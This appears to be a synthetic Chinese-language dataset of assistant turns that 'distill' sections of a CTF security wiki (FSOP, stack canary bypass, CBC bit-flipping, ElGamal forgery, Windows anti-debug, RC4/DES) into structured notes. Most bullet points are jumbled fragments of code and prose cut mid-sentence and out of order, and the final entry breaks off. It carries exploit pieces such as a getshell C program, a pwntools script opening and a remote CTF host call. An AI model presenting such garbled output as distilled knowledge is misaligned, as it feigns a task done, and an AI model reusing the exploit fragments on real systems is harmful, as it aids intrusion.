[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/blockchain/publicblockchain/introduction.md` 中的章节「定义」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/blockchain/publicblockchain/introduction.md`
标题：Public Blockchain Security Overview
章节：Public Blockchain Security Overview > 定义
路径分类：blockchain / blockchain/publicblockchain/introduction.md
分块：1/1

核心知识点：
- 本节主题围绕“定义”展开。
- > A public blockchain has absolutely no access restrictions.
- Usually, such networks offer economic incentives for those who secure them and utilize some type of a Proof of Stake or Proof of Work algorithm. > Some of the largest, most known public blockchains are the bitcoin blockchain and the Ethereum blockchain. ---...
- Anyone with an Internet connection can send transactions to it as well as become a validator (i.e., participate in the execution of a consensus protocol).

关键术语：
- 区块链安全
- AI安全
- blockchain
- publicblockchain
- introduction.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

定义

区块链安全 AI安全 blockchain publicblockchain introduction.md

Public Blockchain Security Overview


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「软件半虚拟化 - virtio」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`
标题：IO 虚拟化
章节：IO 虚拟化 > 软件半虚拟化 - virtio
路径分类：pwn / pwn/virtualization/basic-knowledge
分块：1/1

核心知识点：
- 本节主题围绕“软件半虚拟化 - virtio”展开。
- virtio 这个概念来自于一篇非常古老的虚拟化领域的论文：virtio: towards a de-facto standard for virtual I/O devices，主要是为了解决设备虚拟化的问题而提供了一套通用的虚拟化设备模型，Guest OS 只需要实现一套统一的 virtio 驱动便能以统一的方式访问虚拟化设备，从而避免了各种虚拟化驱动分裂的问题。
- [图片文件: ./figure/virtio.png]

关键术语：
- AI安全
- pwn
- virtualization
- basic-knowledge
- io-virtualization.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

软件半虚拟化 - virtio

IO 虚拟化
软件半虚拟化 - virtio

AI安全 pwn virtualization basic-knowledge io-virtualization.md

IO 虚拟化


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/io-file/fsop.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/io-file/fsop.md`
标题：FSOP
章节：FSOP > 介绍
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“介绍”展开。
- } ... } } `` [图片文件: ./figure/abort_routine.001.jpeg] 而_IO_flush_all_lockp不需要攻击者手动调用，在一些情况下这个函数会被系统调用： 1.当libc执行abort流程时 2.当执行exit函数时 3.当执行流从main函数返回时
- = NULL) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF;
- FSOP是File Stream Oriented Programming的缩写，根据前面对FILE的介绍得知进程内所有的_IO_FILE结构会使用_chain域相互连接形成一个链表，这个链表的头部由_IO_list_all维护。
- FSOP选择的触发方法是调用_IO_flush_all_lockp，这个函数会刷新_IO_list_all链表中所有项的文件流，相当于对每个FILE调用fflush，也对应着会调用_IO_FILE_plus.vtable中的_IO_overflow。
- FSOP的核心思想就是劫持_IO_list_all的值来伪造链表和其中的_IO_FILE项，但是单纯的伪造只是构造了数据还需要某种方法进行触发。

关键术语：
- 边界/溢出
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- io-file

代码/命令片段线索：
- plain: 16 行，首行 `int`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

介绍

边界/溢出 AI安全 漏洞利用 pwn linux user-mode io-file

FSOP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ai/ai-for-security/agent/introduction.md` 中的章节「AI Agent 的核心挑战」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ai/ai-for-security/agent/introduction.md`
标题：AI Agent
章节：AI Agent > AI Agent 的核心挑战
路径分类：ai / ai/ai-for-security/agent
分块：1/1

核心知识点：
- 本节主题围绕“AI Agent 的核心挑战”展开。
- 尽管 AI Agent 在能力表现上展现出较强的通用性与灵活性，但其本质仍是建立在不完全可靠的语言模型之上的系统。
- 主要问题如下： - 不可靠推理与“幻觉”问题：大语言模型本质上是在进行概率驱动的序列预测，这导致其可能产生看似合理但实际错误的推理过程（即“幻觉”）。
- 在 Agent 场景中，错误的中间推理可能导致后续步骤全部偏离目标，尤其是在长链任务中，误差会逐步累积。
- 因此，如何对推理过程进行约束、校验与纠错，成为 Agent 系统设计中的核心问题之一。
- 工具调用的不确定性：模型可能选择错误的工具、参数生成不准确（如 API 输入格式错误）、无法正确理解工具返回结果等。

关键术语：
- AI安全
- 修复/缓解
- ai
- ai-for-security
- agent
- introduction.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

AI Agent 的核心挑战

AI安全 修复/缓解 ai ai-for-security agent introduction.md

AI Agent


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/mitigation/canary.md` 中的章节「利用示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/mitigation/canary.md`
标题：Canary
章节：Canary > Canary 绕过技术 > 泄露栈中的 Canary > 利用示例
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“利用示例”展开。
- 存在漏洞的示例源代码如下: ``C // ex2.c #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> void getshell(void) { system("/bin/sh");
- } ` 编译为 32bit 程序并关闭 PIE 保护 （默认开启 NX，ASLR，Canary 保护） `bash $ gcc -m32 -no-pie ex2.c -o ex2 ` 首先通过覆盖 Canary 最后一个 \x00 字节来打印出 4 位的 Canary 之后，计算好偏移，将 Canary 填入到相应的溢出位置，实现 Ret 到 getshell 函数中 ``python #!
- } } int main(void) { init();
- /usr/bin/env python from pwn import * context.binary = 'ex2' #context.log_level = 'debug' io = process('./ex2') get_shell = ELF("./ex2").sym["getshell"] io.recvuntil("Hello Hacker!
- } void init() { setbuf(stdin, NULL);

关键术语：
- 边界/溢出
- AI安全
- 修复/缓解
- 漏洞利用
- pwn
- linux
- user-mode
- mitigation
- code:c
- code:bash

代码/命令片段线索：
- C: 26 行，首行 `// ex2.c`
- bash: 1 行，首行 `$ gcc -m32 -no-pie ex2.c -o ex2`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

利用示例

边界/溢出 AI安全 修复/缓解 漏洞利用 pwn linux user-mode mitigation code:c code:bash

Canary


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/crypto/signature/elgamal.md` 中的章节「题目」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/crypto/signature/elgamal.md`
标题：ElGamal
章节：ElGamal > 常见攻击 > 选择签名伪造 > 题目
路径分类：crypto / crypto/signature/elgamal.md
分块：1/1

核心知识点：
- 本节主题围绕“题目”展开。
- = 0): req.sendall("Check failed") req.close() return ` 我们需要生成一个以proof开头的长度为proof长度加5的字符串，并且其sha1的值以16比特的0结束。
- 这里以2017年国赛mailbox为例，i春秋有复现。
- 首先，我们来分析一下程序，我们首先需要进行proof of work ``python proof = b64.b64encode(os.urandom(12)) req.sendall( "Please provide your proof of work, a sha1 sum ending in 16 bit's set to 0, it must be of length %d bytes, starting with %s\n" % ( len(proof) + 5, proof)) test =...
- ``python def f(x): return sha1(prefix + x).digest()[-2:] == '\0\0' sh = remote('106.75.66.195', 40001)
- = proof or ord(ha.digest()[-1]) !

关键术语：
- 密码学
- AI安全
- crypto
- signature
- elgamal.md
- code:python

代码/命令片段线索：
- python: 11 行，首行 `proof = b64.b64encode(os.urandom(12))`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

题目

ElGamal 常见攻击 选择签名伪造 题目

密码学 AI安全 crypto signature elgamal.md code:python

ElGamal


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/io-file/introduction.md` 中的章节「else」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/io-file/introduction.md`
标题：FILE结构
章节：else
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“else”展开。
- `` 进程中的FILE结构会通过_chain域彼此连接形成一个链表，链表头部用全局变量_IO_list_all表示，通过这个值我们可以遍历所有的FILE结构。
- / Make sure we don't get into trouble again. / char _unused2[15 sizeof (int) - 4 sizeof (void ) - sizeof (size_t)];
- 而我们使用fopen创建的文件流是分配在堆内存上的。
- 我们可以在libc.so中找到stdin\stdout\stderr等符号，这些符号是指向FILE结构的指针，真正结构的符号是 ` _IO_2_1_stderr_ _IO_2_1_stdout_ _IO_2_1_stdin_ ` 但是事实上_IO_FILE结构外包裹着另一种结构_IO_FILE_plus，其中包含了一个重要的指针vtable指向了一系列函数指针。
- 因此在初始状态下，_IO_list_all指向了一个有这些文件流构成的链表，但是需要注意的是这三个文件流位于libc.so的数据段。

关键术语：
- 边界/溢出
- 堆
- AI安全
- pwn
- linux
- user-mode
- io-file

代码/命令片段线索：
- plain: 3 行，首行 `进程中的FILE结构会通过_chain域彼此连接形成一个链表，链表头部用全局变量_IO_list_all表示，通过这个值我们可以遍历所有的FILE结构。`
- plain: 2 行，首行 `但是事实上_IO_FILE结构外包裹着另一种结构_IO_FILE_plus，其中包含了一个重要的指针vtable指向了一系列函数指针。`
- plain: 1 行，首行 `vtable是IO_jump_t类型的指针，IO_jump_t中保存了一些函数指针，在后面我们会看到在一系列标准IO函数中会调用这些函数指针`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

else

边界/溢出 堆 AI安全 pwn linux user-mode io-file

FILE结构


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/executable/pe/pe-excutable.md` 中的章节「IMAGE_OPTIONAL_HEADER」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/executable/pe/pe-excutable.md`
标题：PE 文件格式
章节：PE 文件格式 > PE文件头 > IMAGE_NT_HEADERS > IMAGE_OPTIONAL_HEADER
路径分类：executable / executable/pe/pe-excutable.md
分块：2/2

核心知识点：
- 本节主题围绕“IMAGE_OPTIONAL_HEADER”展开。
- 可以通过链接器的 "-heap" 参数指定起始保留的堆内存大小和实际提交的堆内存大小。
- 64-bit 表示映像支持控制流保护 #define IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE 0x8000 // 映像可用于终端服务器 `` - SizeOfStackReserve 双字。
- ne IMAGE_DLLCHARACTERISTICS_APPCONTAINER 0x1000 // 在 32-bit 保留；
- 64-bit 表示映像必须在 AppContainer 内执行 #define IMAGE_DLLCHARACTERISTICS_WDM_DRIVER 0x2000 // WDM 驱动 //#define IMAGE_DLLCHARACTERISTICS_GUARD_CF 0x4000 // 在 32-bit 保留；
- 具体说是初始化时为栈保留的虚拟内存的大小，但并不是所有保留的虚拟内存都能直接作为栈使用。

关键术语：
- 堆
- 栈
- AI安全
- executable
- pe
- pe-excutable.md

代码/命令片段线索：
- plain: 7 行，首行 `- `SizeOfStackReserve` 双字。初始化时保留的栈内存大小，默认值是 1MB。具体说是初始化时为栈保留的虚拟内存的大小，但并不是所有保留的虚拟内存都能直接作为栈使用。初始化时实际提交的栈大小由 `SizeOfStac...`
- plain: 1 行，首行 `各数组项如下：`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

IMAGE_OPTIONAL_HEADER

PE 文件格式


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/executable/pe/pe-excutable.md` 中的章节「IMAGE_OPTIONAL_HEADER」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/executable/pe/pe-excutable.md`
标题：PE 文件格式
章节：PE 文件格式 > PE文件头 > IMAGE_NT_HEADERS > IMAGE_OPTIONAL_HEADER
路径分类：executable / executable/pe/pe-excutable.md
分块：1/2

核心知识点：
- 本节主题围绕“IMAGE_OPTIONAL_HEADER”展开。
- / +003ch 文件中节对齐粒度 / WORD MajorOperatingSystemVersion;
- / +0040h 操作系统主要版本号 / WORD MinorOperatingSystemVersion;
- / +005eh 映像文件的DLL属性 / DWORD SizeOfStackReserve;
- / +0060h 初始化时的保留的栈大小 / DWORD SizeOfStackCommit;
- / +0064h 初始化时实际提交的栈大小 / DWORD SizeOfHeapReserve;

关键术语：
- 堆
- 栈
- ROP/JOP
- AI安全
- executable
- pe
- pe-excutable.md
- code:c

代码/命令片段线索：
- c: 33 行，首行 `typedef struct _IMAGE_OPTIONAL_HEADER {`
- c: 14 行，首行 `// Subsystem 标志`
- c: 12 行，首行 `// DLL 属性标志`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

IMAGE_OPTIONAL_HEADER

堆 栈 ROP/JOP AI安全 executable pe pe-excutable.md code:c

PE 文件格式


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/crypto/blockcipher/mode/cbc.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/crypto/blockcipher/mode/cbc.md`
标题：CBC
章节：CBC > 攻击 > 字节反转攻击 > 例题
路径分类：crypto / crypto/blockcipher/mode
分块：1/1

核心知识点：
- 本节主题围绕“例题”展开。
- 所以题目流程为先随便提供一个明文，然后将密文进行修改，使得解密后的字符串最后的内容为admin,我们可以枚举flag的长度来确定我们需要在什么位置进行修改。

关键术语：
- 密码学
- AI安全
- crypto
- blockcipher
- mode
- cbc.md
- code:python

代码/命令片段线索：
- python: 39 行，首行 `from flag import FLAG`
- python: 27 行，首行 `from pwn import *`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题

CBC 攻击 字节反转攻击 例题

密码学 AI安全 crypto blockcipher mode cbc.md code:python

CBC


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/windows/anti-debug/heap-flags.md` 中的章节「检测ForgeFlags字段」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/windows/anti-debug/heap-flags.md`
标题：Heap Flags
章节：Heap Flags > 检测ForgeFlags字段
路径分类：reverse / reverse/platform/windows
分块：1/1

核心知识点：
- 本节主题围绕“检测ForgeFlags字段”展开。
- + HEAP_VALIDATE_PARAMETERS_ENABLED cmp eax, 40000060h je being_debugged ` 32位代码检测32位windows环境, 且subsystem为3.51及更高版本: ` asm call GetVersion cmp al, 6 cmc sbb ebx, ebx and ebx, 34h mov eax, fs:[30h] ;
- + HEAP_VALIDATE_PARAMETERS_ENABLED cmp [eax+ebx+10h], 40000060h je being_debugged ` 64位代码检测64位windows环境(64位进程不必受subsystem版本困扰): ` asm push 60h pop rsi gs:lodsq ;
- + HEAP_VALIDATE_PARAMETERS_ENABLED cmp d [rbx+rax+74h], 40000060h je being_debugged ` 用32位代码检测64位windows环境: ` asm call GetVersion cmp al, 6 push 30h pop eax mov ebx, fs:[eax] ;
- + HEAP_VALIDATE_PARAMETERS_ENABLED cmp [ebx+eax+74h], 40000060h je being_debugged ``
- get process heap base mov eax, [eax+ebx+10h] ;

关键术语：
- 堆
- AI安全
- reverse
- platform
- windows
- anti-debug

代码/命令片段线索：
- plain: 1 行，首行 `32位代码检测32位windows环境, 且`subsystem`为`3.51`及更高版本:`
- plain: 1 行，首行 `64位代码检测64位windows环境(64位进程不必受`subsystem`版本困扰):`
- plain: 1 行，首行 `用32位代码检测64位windows环境:`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

检测ForgeFlags字段

堆 AI安全 reverse platform windows anti-debug

Heap Flags


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/identify-encode-encryption/introduction.md` 中的章节「python解密脚本」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/identify-encode-encryption/introduction.md`
标题：常见加密算法和编码识别
章节：常见加密算法和编码识别 > RC4 > python解密脚本
路径分类：reverse / reverse/identify-encode-encryption/introduction.md
分块：1/1

核心知识点：
- 本节主题围绕“python解密脚本”展开。
- ``python def rc4_main(key = "init_key", message = "init_message"): print("RC4解密主函数调用成功") print('\n') s_box = rc4_init_sbox(key) crypt = rc4_excrypt(message, s_box) return crypt def rc4_init_sbox(key): s_box = list(range(256)) print("原来的 s 盒：%s" % s_box) pri...

关键术语：
- 密码学
- AI安全
- reverse
- identify-encode-encryption
- introduction.md
- code:python

代码/命令片段线索：
- python: 46 行，首行 `def rc4_main(key = "init_key", message = "init_message"):`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

python解密脚本

常见加密算法和编码识别 RC4 python解密脚本

密码学 AI安全 reverse identify-encode-encryption introduction.md code:python

常见加密算法和编码识别


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ai/ai-for-security/agent/multi-agent-orchestration/knowledge-sharing/introduction.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ai/ai-for-security/agent/multi-agent-orchestration/knowledge-sharing/introduction.md`
标题：简介
章节：简介
路径分类：ai / ai/ai-for-security/agent
分块：1/1

核心知识点：
- 本节主题围绕“简介”展开。
- 知识共享（Knowledge Sharing）是多智能体系统（Multi-Agent System）中的一种协作机制，用于支持不同 Agent 之间交换、传播和利用任务过程中产生的信息。
- 在单 Agent 系统中，Agent 通常依赖自身的 Memory 保存和检索历史信息。
- 而在多智能体系统中，不同 Agent 可能分别负责不同子任务，因此需要一种机制使 Agent 能够共享彼此发现的重要信息，从而减少重复工作，提高整体任务完成效率。
- 例如，在一个安全分析场景中： - Agent A 负责总体编排与目标规划 - Sub Agent a 负责日志分析，发现某个可疑 IP；
- 如果没有知识共享机制，每个 Agent 只能基于自身的信息与上下文进行决策，从而可能会导致由于信息缺失而工作效率下降，且可能重复其他 Agent 已经进行过的动作，导致整体工作效率下降。

关键术语：
- AI安全
- 漏洞利用
- ai
- ai-for-security
- agent
- multi-agent-orchestration

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

简介

AI安全 漏洞利用 ai ai-for-security agent multi-agent-orchestration

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ai/ai-for-security/agent/introduction.md` 中的章节「CTF 与 AI Agent」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ai/ai-for-security/agent/introduction.md`
标题：AI Agent
章节：AI Agent > CTF 与 AI Agent
路径分类：ai / ai/ai-for-security/agent
分块：1/1

核心知识点：
- 本节主题围绕“CTF 与 AI Agent”展开。
- 随着 AI agent 技术的发展与 LLM 基模能力的提升，安全行业也正如其他计算机细分领域一样在遭受前所未有的冲击。
- 得益于 AI agent 的可用性在近年来得到大幅提高，在现在的 CTF 赛场上逐渐出现越来越多的“非传统型 CTFer” ，与传统 CTF 选手仅将 LLM 作为知识库不同，他们在赛场上会更多地依赖于使用 AI Agent 辅助解题过程，甚至于完全依靠 AI Agent 进行自动化解题—— 选手反过来变成了 AI Agent 的“代理人”。
- 需要说明， 使用 AI Agent 进行解题一事对相当一部分 CTF 比赛的公平性都带来了极大的冲击 ，因为最终的解题并不是依赖选手自身能力完成，而是依赖大模型与 Agent 框架的能力，这直接挑战了 CTF 一个长期默认的前提—— 参赛能力应当约等于参赛者个人能力 。
- 而在 AI 领域蓬勃发展的今天，对于绝大部分简单与中等难度的 CTF 赛题而言（甚至包括部分高难题），AI Agent 都已经有足够的能力完成自动化解题。
- 这直接带来的一个现实问题便是在绝大部分比赛当中 一旦你不舍得投钱使用昂贵的高级模型、或是没有使用足够强大的 Agent 框架，你都有可能拼不过使用 AI 进行解题的对手 。

关键术语：
- AI安全
- 修复/缓解
- 漏洞利用
- ai
- ai-for-security
- agent
- introduction.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

CTF 与 AI Agent

AI安全 修复/缓解 漏洞利用 ai ai-for-security agent introduction.md

AI Agent


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md`
标题：伪造vtable劫持程序流程
章节：伪造vtable劫持程序流程 > 2018 HCTF the_end > 基本信息
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本信息”展开。
- } `` 分析题目，利用点很明确在 main 函数中，且： - 除了 canary 保护全开 - libc 基地址和 libc 版本 - 能够任意位置写 5 字节
- `` void __fastcall __noreturn main(__int64 a1, char a2, char a3) { signed int i;
- // [rsp+8h] [rbp-8h] sleep(0);
- printf("here is a gift %p, good luck ;
- ++i ) { read(0, &buf, 8uLL);

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- io-file

代码/命令片段线索：
- plain: 16 行，首行 `void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本信息

伪造vtable劫持程序流程


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/windows/anti-debug/the-heap.md` 中的章节「The Heap」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/windows/anti-debug/the-heap.md`
标题：The Heap
章节：The Heap
路径分类：reverse / reverse/platform/windows
分块：1/1

核心知识点：
- 本节主题围绕“The Heap”展开。
- 堆在初始化时, 会检查heap flags, 并视一些标志位的有无设置而对环境作出额外的改变. 像Themida就有采用这种方法来检测调试器. 比如: 如果设置了HEAP_TAIL_CHECKING_ENABLED标志(见Heap Flags节), 那么在32位windows中就会在分配的堆块尾部附加2个0xABABABAB(64位环境就是4个). 如果设置了HEAP_FREE_CHECKING_ENABLED(见Heap Flags节)标志, 那么当需要额外的字节来填充堆块尾部时, 就会使用0xFEEEFE...

关键术语：
- 堆
- AI安全
- reverse
- platform
- windows
- anti-debug

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

The Heap

The Heap


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/crypto/blockcipher/des.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/crypto/blockcipher/des.md`
标题：DES
章节：-- coding: utf-8 --
路径分类：crypto / crypto/blockcipher/des.md
分块：1/1

核心知识点：
- 本节主题围绕“-- coding: utf-8 --”展开。
- def round_add(a, b): f = lambda x, y: x + y - 2 * (x & y) res = '' for i in range(len(a)): res += chr(f(ord(a[i]), ord(b[i]))) return res
- def permutate(table, block): return list(map(lambda x: block[x], table))
- def string_to_bits(data): data = [ord(c) for c in data] l = len(data) 8 result = [0] l pos = 0 for ch in data: for i in range(0,8): result[(pos<<3)+i] = (ch>>i) & 1 pos += 1 return result
- s_box = [54, 132, 138, 83, 16, 73, 187, 84, 146, 30, 95, 21, 148, 63, 65, 189, 188, 151, 72, 161, 116, 63, 161, 91, 37, 24, 126, 107, 87, 30, 117, 185, 98, 90, 0, 42, 140, 70, 86, 0, 42, 150, 54, 22, 144, 153, 36, 90, 149, 54, 156, 8, 59, 40, 110, 56,1, 84,...
- def generate(o): k = permutate(s_box,o) b = [] for i in range(0, len(k), 7): b.append(k[i:i+7] + [1]) c = [] for i in range(32): pos = 0 x = 0 for j in b[i]: x += (j<<pos) pos += 1 c.append((0x10001**x) % (0x7f)) return c

关键术语：
- 密码学
- AI安全
- crypto
- blockcipher
- des.md

代码/命令片段线索：
- plain: 1 行，首行 `显然，我们可以将其视为一个 Feistel 加密的方式，解密函数如下`
- plain: 1 行，首行 `最后结果为`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

-- coding: utf-8 --

DES


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ics/ctfs.md` 中的章节「国内工控比赛考察点」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ics/ctfs.md`
标题：ICS_CTF 竞赛
章节：ICS_CTF 竞赛 > 国内工控比赛考察点
路径分类：ics / ics/ctfs.md
分块：1/1

核心知识点：
- 本节主题围绕“国内工控比赛考察点”展开。
